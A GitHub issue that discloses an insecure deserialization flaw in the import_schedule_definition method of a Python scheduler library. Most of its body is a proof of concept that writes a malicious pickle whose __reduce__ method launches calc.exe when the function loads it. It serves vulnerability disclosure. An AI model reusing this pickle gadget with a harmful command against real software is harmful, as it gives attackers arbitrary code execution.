Skip to content

import_schedule_definition is vulnerable #19

Open
@Joel-MalwareBenchmark

Description

@Joel-MalwareBenchmark
 from scheduler import io
 import os
 from pathlib import Path
 import pickle
 class joel_test(object):
     def __reduce__(self):
         import subprocess
         return (subprocess.Popen, ('calc.exe',))
 test = joel_test()
 f=open('solution\\scheduler.pickle','wb')
 pickle.dump(test,f)
 f.close()
 io.import_schedule_definition(Path(Path.cwd(), 'solution'))

Hi, there is a vulnerability in import_schedule_definition method in io.py, please see PoC above. It can execute arbitrary python commands resulting in command execution.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions